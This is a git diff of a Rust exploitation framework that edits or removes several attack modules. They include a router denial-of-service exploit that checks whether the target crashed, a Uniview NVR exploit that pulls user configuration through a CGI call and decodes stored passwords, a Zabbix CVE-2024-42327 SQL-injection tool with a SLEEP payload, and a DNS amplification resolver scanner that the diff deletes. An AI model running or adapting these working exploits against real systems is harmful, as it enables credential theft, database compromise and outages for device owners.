fn normalize_ip(ip: &str) -> String {
// Remove all surrounding brackets
@@ -59,8 +47,6 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
payload = payload
);
println!("{}", format!("[*] Sending exploit payload to {}:{}", ip, port).yellow());
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
@@ -79,32 +65,28 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
let client = Client::builder()
.default_headers(headers)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("{}", "[+] Exploit sent successfully (200 OK received)".green().bold());
println!("[+] Server Crashed (200 OK received)");
let body = response.text().await.unwrap_or_default();
if !body.is_empty() {
println!("{}", body);
}
println!("{}", body);
} else {
println!(
"{}",
format!("[-] Request completed with status code: {}", response.status()).yellow()
"[-] Script Completed with status code: {}",
response.status()
);
}
// Check if the host is still up — timeout after 1 second
println!("{}", "[*] Checking if target is still reachable...".cyan());
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
println!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
_ => {
println!("{}", format!("[+] Target no longer reachable on port {} — likely crashed!", port).green().bold());
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
}
}
@@ -113,32 +95,20 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
print!("{}", format!("Enter router port (default {}): ", DEFAULT_PORT).cyan().bold());
io::stdout().flush()?;
println!("Enter router port (default is 8082): ");
let mut port_str = String::new();
io::stdin().read_line(&mut port_str)?;
let port: u16 = port_str.trim().parse().unwrap_or(DEFAULT_PORT);
let port: u16 = port_str.trim().parse().unwrap_or(8082);
print!("{}", "Enter username: ".cyan().bold());
io::stdout().flush()?;
println!("Enter username: ");
let mut username = String::new();
io::stdin().read_line(&mut username)?;
let username = username.trim();
print!("{}", "Enter password: ".cyan().bold());
io::stdout().flush()?;
println!("Enter password: ");
let mut password = String::new();
io::stdin().read_line(&mut password)?;
let password = password.trim();
if username.is_empty() || password.is_empty() {
println!("{}", "[-] Username and password are required".red());
return Err(anyhow::anyhow!("Username and password are required"));
}
execute(target, port, username, password).await
}
+4
View File
@@ -1 +1,5 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
@@ -1,5 +1,4 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
@@ -9,16 +8,6 @@ use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
@@ -100,21 +89,20 @@ fn normalize_target(raw: &str) -> String {
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Normalize URL (scheme, IPv6 brackets, port, path)
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.timeout(Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("{}", "[*] Getting model name and software version...".cyan());
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
@@ -133,8 +121,8 @@ pub async fn run(target: &str) -> Result<()> {
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("{}", format!("[+] Model: {}", model).green());
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
// Prepare log file
let mut log = OpenOptions::new()
@@ -149,7 +137,7 @@ pub async fn run(target: &str) -> Result<()> {
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("{}", "\n[*] Getting configuration file...".cyan());
println!("\n[+] Getting configuration file...");
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
@@ -167,8 +155,7 @@ pub async fn run(target: &str) -> Result<()> {
let mut buf = Vec::new();
let mut total_users = 0;
println!();
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
println!("\nUser | Stored Hash | Reversible Password");
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
@@ -190,7 +177,7 @@ pub async fn run(target: &str) -> Result<()> {
}
let decoded = decode_pass(&revpass);
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
@@ -202,11 +189,9 @@ pub async fn run(target: &str) -> Result<()> {
buf.clear();
}
println!();
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
println!("\n[+] Total users: {}", total_users);
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
@@ -1,34 +1,17 @@
use anyhow::{anyhow, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
const HEADERS: &str = "application/json";
const DEFAULT_TIMEOUT_SECS: u64 = 30;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Zabbix 7.0.0 SQL Injection Checker ║".cyan());
println!("{}", "║ CVE-2024-42327 - Time-based SQL Injection ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
let client = Client::new();
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
// Login to get the token
println!("{}", "[*] Attempting to authenticate...".cyan());
// // Login to get the token
let login_data = json!({
"jsonrpc": "2.0",
"method": "user.login",
@@ -55,15 +38,12 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
let auth_token = login_response_json
.get("result")
.ok_or_else(|| anyhow!("Failed to retrieve auth token - check credentials"))?
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
.as_str()
.ok_or_else(|| anyhow!("Auth token not a string"))?
.to_string();
println!("{}", "[+] Authentication successful".green());
// SQLi test using the provided payload
println!("{}", "[*] Testing for SQL injection vulnerability...".yellow());
// // SQLi test using the provided payload
let sqli_data = json!({
"jsonrpc": "2.0",
"method": "user.get",
@@ -75,7 +55,6 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
"auth": auth_token
});
let start = std::time::Instant::now();
let test_response = client
.post(&url)
.header("Content-Type", HEADERS)
@@ -84,20 +63,15 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
.await
.map_err(|e| anyhow!("Test request error: {}", e))?;
let elapsed = start.elapsed();
let test_response_text = test_response
.text()
.await
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
println!("{}", format!("[*] Response received in {:.2}s", elapsed.as_secs_f64()).cyan());
if test_response_text.contains("\"error\"") {
println!("{}", "[-] Target does NOT appear vulnerable (error in response).".red());
} else if elapsed.as_secs() >= 5 {
println!("{}", "[+] VULNERABLE! Response delayed by SLEEP injection.".green().bold());
println!("[-] NOT VULNERABLE.");
} else {
println!("{}", "[?] Inconclusive - response received but no delay detected.".yellow());
println!("[!] VULNERABLE.");
}
Ok(())
@@ -105,13 +79,13 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
// Prompt user to choose a payload option
async fn get_payload_choice() -> Result<String> {
println!("{}", "[*] Choose SQL payload option:".cyan().bold());
println!(" {} Load SQL payloads from file", "[1]".green());
println!(" {} Enter custom SQL payload", "[2]".green());
println!(" {} Use default SQL payload (SLEEP-based)", "[3]".green());
println!("Choose SQL payload option:");
println!("1: Load SQL payloads from file");
println!("2: Enter custom SQL payload");
println!("3: Use default SQL payload");
let mut choice = String::new();
print!("{}", "Enter your choice (1/2/3): ".cyan().bold());
print!("Enter your choice (1/2/3): ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut choice)
@@ -122,17 +96,16 @@ async fn get_payload_choice() -> Result<String> {
match choice {
"1" => {
// Load from a file (e.g., sql_payloads.txt)
println!("{}", "[*] Loading SQL payloads from file...".cyan());
println!("Loading SQL payloads from file...");
let payloads = fs::read_to_string("sql_payloads.txt")
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
println!("{}", "[+] Payloads loaded successfully".green());
Ok(payloads.trim().to_string())
}
"2" => {
// Allow user to input a custom payload
print!("{}", "Enter your custom SQL payload: ".cyan().bold());
io::stdout().flush().unwrap();
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
let mut custom_payload = String::new();
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut custom_payload)
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
@@ -141,41 +114,35 @@ async fn get_payload_choice() -> Result<String> {
// Ensure the custom payload isn't empty
if custom_payload.is_empty() {
println!("{}", "[-] Custom payload cannot be empty".red());
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
}
println!("{}", format!("[+] Using custom payload: {}", custom_payload).green());
Ok(custom_payload.to_string())
}
"3" => {
// Use a default payload
println!("{}", "[*] Using default SQL payload (SLEEP-based)...".cyan());
println!("Using default SQL payload...");
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
}
_ => {
println!("{}", "[-] Invalid choice".red());
Err(anyhow!("Invalid choice, please select 1, 2, or 3."))
}
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
}
}
// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target API URL: {}", target).yellow());
println!();
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
println!("[*] Target API URL: {}", target);
let mut username = String::new();
let mut password = String::new();
print!("{}", "Username: ".cyan().bold());
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut username)
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
print!("{}", "Password: ".cyan().bold());
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut password)
@@ -184,11 +151,6 @@ pub async fn run(target: &str) -> Result<()> {
let username = username.trim();
let password = password.trim();
if username.is_empty() || password.is_empty() {
println!("{}", "[-] Username and password are required".red());
return Err(anyhow!("Username and password are required"));
}
// Get the payload choice from the user
let payload = get_payload_choice().await?;
@@ -1,7 +1,7 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use cipher::{BlockDecrypt, KeyInit};
use cipher::generic_array::GenericArray;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
@@ -16,6 +16,8 @@ use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
use cipher::consts::U16;
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
@@ -24,9 +26,7 @@ fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
@@ -47,8 +47,7 @@ fn parse_target(target: &str) -> Result<(String, u16)> {
return Ok((parts[0].to_string(), port));
}
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
std::io::stdout().flush()?;
println!("[?] No port provided. Enter port:");
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
-678
View File
@@ -1,678 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::Rng;
use std::collections::HashSet;
use std::fs::File;
use std::io::{self, BufRead, BufReader, Write};
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use std::path::Path;
use std::time::Duration;
use hickory_client::client::{AsyncClient, ClientHandle};
use hickory_client::proto::op::ResponseCode;
use hickory_client::rr::{DNSClass, Name, RecordType};
use hickory_client::udp::UdpClientStream;
use hickory_proto::op::Message;
use hickory_proto::xfer::DnsResponse;
use tokio::net::UdpSocket;
#[derive(Clone, Debug)]
struct TargetSpec {
input: String,
host: String,
port: Option<u16>,
}
fn display_banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan());
println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Scan DNS resolvers for open recursion with improved input validation.
pub async fn run(initial_target: &str) -> Result<()> {
display_banner();
let mut targets = collect_targets(initial_target)?;
if targets.is_empty() {
return Err(anyhow!(
"No valid targets provided. Supply at least one IP/hostname."
));
}
let needs_default_port = targets.iter().any(|t| t.port.is_none());
let default_port = if needs_default_port {
prompt_port("Default DNS port for targets without port", 53)?
} else {
53
};
let default_domain = random_test_domain();
let query_name_input = prompt_default("Domain to query", &default_domain)?;
let query_name = validate_domain_input(&query_name_input)?;
let record_input =
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
let record_type = parse_record_type(&record_input)?;
println!(
"[*] Prepared {} query for {} across {} target(s)",
record_type,
query_name,
targets.len()
);
let name = Name::from_str_relaxed(&query_name)
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
let mut any_success = false;
let mut last_error: Option<anyhow::Error> = None;
let mut vulnerable_count = 0usize;
let mut tested_count = 0usize;
let start_time = std::time::Instant::now();
println!();
for spec in targets.drain(..) {
let port = spec.port.unwrap_or(default_port);
let display = format_endpoint(&spec.host, port);
println!(
"\n[*] Processing target {} (input: {})",
display.cyan(),
spec.input
);
tested_count += 1;
match resolve_target(&spec.host, port).await {
Ok((socket_addr, resolved_display)) => {
println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan());
match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await {
Ok(()) => any_success = true,
Err(err) => {
eprintln!(
"{}",
format!("[!] Query failed for {}: {}", resolved_display, err).red()
);
last_error = Some(err);
}
}
}
Err(err) => {
eprintln!(
"{}",
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
);
last_error = Some(err);
}
}
}
let elapsed = start_time.elapsed();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Targets tested: {}", tested_count);
println!(" Vulnerable (open): {}", if vulnerable_count > 0 {
vulnerable_count.to_string().red().bold().to_string()
} else {
"0".green().to_string()
});
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
if vulnerable_count > 0 {
println!();
println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold());
println!("{}", " These can be abused for DNS amplification attacks.".yellow());
}
if any_success {
Ok(())
} else {
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
}
}
async fn query_target(
socket_addr: SocketAddr,
display_target: &str,
name: &Name,
record_type: RecordType,
vulnerable_count: &mut usize,
) -> Result<()> {
println!(
"[*] Sending {} query (timeout 5s) to {}",
record_type, display_target
);
let timeout = Duration::from_secs(5);
let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
let (mut client, bg) =
AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
tokio::spawn(bg);
let response: DnsResponse = client
.query(name.clone(), DNSClass::IN, record_type)
.await
.with_context(|| format!("DNS query to {} failed", display_target))?;
let (message, _) = response.into_parts();
let is_vulnerable = report_result(&message, display_target, record_type);
if is_vulnerable {
*vulnerable_count += 1;
}
Ok(())
}
fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool {
let recursion_available = message.recursion_available();
let recursion_desired = message.recursion_desired();
let authoritative = message.authoritative();
let truncated = message.truncated();
let rcode = message.response_code();
println!();
println!(
"{}",
format!(
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
rcode,
message.answers().len(),
message.name_servers().len(),
message.additionals().len()
).dimmed()
);
if truncated {
println!("{}", "[!] Response was truncated (TC flag set).".yellow());
}
println!(
"{}",
format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed()
);
if recursion_available && rcode != ResponseCode::Refused {
println!(
"{}",
format!(
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
display_target,
record_type,
if authoritative { "(authoritative data returned)" } else { "" }
)
.green()
.bold()
);
println!(
"{}",
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
.yellow()
);
true
} else if recursion_available && rcode == ResponseCode::Refused {
println!(
"{}",
format!(
"[-] {} reports recursion available but refused the request (likely ACL protected).",
display_target
)
.yellow()
);
false
} else {
println!(
"{}",
format!(
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
display_target
)
.dimmed()
);
false
}
}
fn parse_record_type(input: &str) -> Result<RecordType> {
match input.trim().to_uppercase().as_str() {
"A" => Ok(RecordType::A),
"AAAA" => Ok(RecordType::AAAA),
"ANY" => Ok(RecordType::ANY),
"DNSKEY" => Ok(RecordType::DNSKEY),
"TXT" => Ok(RecordType::TXT),
"MX" => Ok(RecordType::MX),
other => Err(anyhow!("Unsupported record type '{}'", other)),
}
}
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
if let Ok(ip) = host.parse::<IpAddr>() {
let addr = SocketAddr::new(ip, port);
return Ok((addr, format_endpoint(host, port)));
}
let mut addrs_iter = (host, port)
.to_socket_addrs()
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
let addr = addrs_iter
.next()
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
Ok((addr, addr.to_string()))
}
fn random_test_domain() -> String {
let mut rng = rand::rng();
let random_label: String = (0..12)
.map(|_| {
let n = rng.random_range(0..36);
if n < 10 {
(b'0' + n) as char
} else {
(b'a' + (n - 10)) as char
}
})
.collect();
format!("{}.rustsploit.test", random_label)
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else if trimmed.len() > 255 {
Err(anyhow!("Input too long"))
} else {
Ok(trimmed.to_string())
}
}
fn prompt_port(message: &str, default: u16) -> Result<u16> {
loop {
let prompt = format!("{} [{}]: ", message, default);
print!("{}", prompt);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.is_empty() {
return Ok(default);
}
if let Ok(value) = trimmed.parse::<u16>() {
if value > 0 {
return Ok(value);
}
}
println!("Please provide a valid port between 1 and 65535.");
}
}
fn prompt_line(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim();
if trimmed.len() > 255 {
return Err(anyhow!("Input too long (max 255 characters)."));
}
Ok(trimmed.to_string())
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let hint = if default_yes { "Y/n" } else { "y/N" };
loop {
let prompt = format!("{} [{}]: ", message, hint);
print!("{}", prompt);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
let trimmed = buf.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
"stop" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
let mut targets = Vec::new();
let mut seen: HashSet<String> = HashSet::new();
let trimmed_initial = initial.trim();
if !trimmed_initial.is_empty() {
let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
if added == 0 && Path::new(trimmed_initial).is_file() {
println!(
"{}",
format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
);
match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
Ok(count) => {
if count == 0 {
println!("{}", " No valid targets found in file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} target(s) from '{}'",
count, trimmed_initial
)
.green()
);
}
}
Err(err) => {
eprintln!(
"{}",
format!(
" Failed to read '{}': {}",
trimmed_initial, err
)
.red()
);
}
}
}
}
if prompt_yes_no(
"Add additional targets manually? (type 'stop' to finish)",
targets.is_empty(),
)? {
loop {
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
if entry.is_empty() {
continue;
}
if entry.eq_ignore_ascii_case("stop") {
break;
}
add_target_token(&entry, "interactive", &mut seen, &mut targets);
}
}
if prompt_yes_no("Load targets from file?", false)? {
loop {
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
if path_input.is_empty() {
continue;
}
if path_input.eq_ignore_ascii_case("stop") {
break;
}
match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
Ok(count) => {
if count == 0 {
println!(
"{}",
format!(" No valid targets parsed from '{}'", path_input).yellow()
);
} else {
println!(
"{}",
format!(
" Loaded {} target(s) from '{}'",
count, path_input
)
.green()
);
}
}
Err(err) => eprintln!(
"{}",
format!(" Failed to read '{}': {}", path_input, err).red()
),
}
}
}
Ok(targets)
}
fn parse_targets_from_str(
input: &str,
context: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> usize {
let mut added = 0usize;
for token in input
.split(|c: char| c == ',' || c.is_ascii_whitespace())
.filter_map(|segment| {
let trimmed = segment.trim();
if trimmed.is_empty() {
None
} else {
Some(trimmed)
}
})
{
if add_target_token(token, context, seen, targets) {
added += 1;
}
}
added
}
fn parse_targets_from_file(
path: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> Result<usize> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut added = 0usize;
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let content = line.split('#').next().unwrap_or("").trim();
if content.is_empty() {
continue;
}
let ctx = format!("file:{}:{}", path, idx + 1);
added += parse_targets_from_str(content, &ctx, seen, targets);
}
Ok(added)
}
fn add_target_token(
token: &str,
context: &str,
seen: &mut HashSet<String>,
targets: &mut Vec<TargetSpec>,
) -> bool {
if token.eq_ignore_ascii_case("stop") {
return false;
}
match parse_target_spec(token) {
Ok(spec) => {
let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
if seen.insert(key) {
println!(
"{}",
format!(" [{}] Added target {}", context, spec.input).cyan()
);
targets.push(spec);
true
} else {
println!(
"{}",
format!(" [{}] Duplicate target '{}' skipped", context, token).dimmed()
);
false
}
}
Err(err) => {
eprintln!(
"{}",
format!(
" [{}] Skipping invalid target '{}': {}",
context, token, err
)
.yellow()
);
false
}
}
}
fn parse_target_spec(token: &str) -> Result<TargetSpec> {
let sanitized = sanitize_target_input(token)?;
let (host, port) = split_host_port(&sanitized)?;
Ok(TargetSpec {
input: sanitized.clone(),
host: host.to_lowercase(),
port,
})
}
fn sanitize_target_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if trimmed.len() > 255 {
return Err(anyhow!(
"Target '{}' is too long (maximum 255 characters)",
trimmed
));
}
if !trimmed
.chars()
.all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
{
return Err(anyhow!(
"Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
trimmed
));
}
Ok(trimmed.to_string())
}
fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
if value.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if let Ok(addr) = value.parse::<SocketAddr>() {
return Ok((addr.ip().to_string(), Some(addr.port())));
}
if value.starts_with('[') {
let end = value
.find(']')
.ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
let host = value[1..end].to_string();
if value.len() == end + 1 {
return Ok((host, None));
}
if !value[end + 1..].starts_with(':') {
return Err(anyhow!(
"Malformed IPv6 target '{}': expected ':' after ']'",
value
));
}
let port_part = &value[end + 2..];
if port_part.is_empty() {
return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
}
let port = port_part
.parse::<u16>()
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
if port == 0 {
return Err(anyhow!("Port must be between 1 and 65535"));
}
return Ok((host, Some(port)));
}
if value.ends_with(':') {
return Err(anyhow!(
"Invalid target '{}': trailing ':' without port",
value
));
}
let colon_count = value.matches(':').count();
if colon_count == 1 {
let idx = value.rfind(':').unwrap();
let host_part = &value[..idx];
let port_part = &value[idx + 1..];
if host_part.is_empty() {
return Err(anyhow!("Host cannot be empty in target '{}'", value));
}
if !port_part.chars().all(|c| c.is_ascii_digit()) {
return Err(anyhow!(
"Invalid port '{}' in target '{}'",
port_part,
value
));
}
let port = port_part
.parse::<u16>()
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
if port == 0 {
return Err(anyhow!("Port must be between 1 and 65535"));
}
return Ok((host_part.to_string(), Some(port)));
}
if colon_count >= 2 {
let ip = value.parse::<IpAddr>().with_context(|| {
format!(
"Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
value
)
})?;
return Ok((ip.to_string(), None));
}
Ok((value.to_string(), None))
}
fn format_endpoint(host: &str, port: u16) -> String {
match host.parse::<IpAddr>() {
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
_ => format!("{}:{}", host, port),
}
}
fn validate_domain_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if trimmed.len() > 253 {
return Err(anyhow!(
"Domain '{}' is too long (maximum 253 characters)",
trimmed
));
}
let without_dot = trimmed.trim_end_matches('.');
if without_dot.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if without_dot
.chars()
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
{
return Err(anyhow!(
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
trimmed
));
}
Ok(without_dot.to_lowercase())
}
-392
View File
@@ -1,392 +0,0 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use colored::*;
use reqwest::{Client, Method, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::{Duration, Instant};
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
method: &'static str,
status: Option<StatusCode>,
ok: bool,
error: Option<String>,
duration_ms: u128,
}
struct TargetResult {
target: String,
results: Vec<MethodResult>,
}
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
"http" => "http",
_ => "https",
};
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let mut normalized = normalize_targets(targets, default_scheme);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
